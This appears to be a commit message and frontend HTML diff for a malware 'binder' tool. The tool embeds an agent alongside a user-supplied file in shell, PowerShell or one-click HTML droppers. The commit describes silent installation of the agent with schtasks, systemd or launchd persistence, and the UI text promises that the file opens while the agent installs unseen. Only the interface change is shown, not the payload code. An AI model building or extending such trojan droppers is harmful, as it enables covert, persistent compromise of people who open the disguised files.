feat: self-contained binder v2 — agent embedded directly, no curl required

- /api/bind now embeds agent.py as base64 (fully offline install)
- New HTML format: one-click browser payload (auto-downloads file)
- PS1 format: Windows dropper with embedded agent + schtasks persistence
- SH format (default): Linux/macOS dropper, extracts both file + agent
- Agent installs to /opt/network-agent/ with systemd or launchd persistence
- Frontend: format selector (SH/PS1/HTML) in binder modal
- Verified: both payloads extract correctly, agent.py passes py_compile

public/index.html

@@ -496,6 +496,14 @@
         <div id="binderStatus" style="display: none; padding: 0.75rem; border-radius: var(--radius-sm); text-align: center; font-size: 0.9rem;"></div>
         <div class="modal-actions">
           <button class="btn btn-secondary" onclick="closeBinderModal()">Cancel</button>
+          <div class="form-group" style="margin-top:0.75rem;">
+            <label>Payload Format</label>
+            <select id="binderFormat" style="width:100%%; background:rgba(15,23,42,0.8); border:1px solid var(--border-color); color:#fff; padding:0.5rem; border-radius:6px;">
+              <option value="sh">Shell Dropper (.sh) — Linux/macOS</option>
+              <option value="ps1">PowerShell (.ps1) — Windows</option>
+              <option value="html">HTML Payload (.html) — One-click browser</option>
+            </select>
+          </div>
           <button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
             <i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
           </button>
@@ -503,7 +511,7 @@
         <div class="modal-info-box" style="margin-top: 0.5rem;">
           <i class="fa-solid fa-circle-info"></i>
           <div>
-            <strong>How it works:</strong> Your file is embedded in a cross-platform shell dropper. When executed, it opens the original file AND deploys the agent to <span class="server-url-placeholder">http://10.30.20.44:3000</span>.
+            <strong>How it works:</strong> Your file + agent are fully embedded. No network needed after download. Opens the file AND silently installs the agent. <br><small>Formats: <code>.sh</code> (Linux/macOS), <code>.ps1</code> (Windows), <code>.html</code> (one-click browser payload)</small>
           </div>
         </div>
       </div>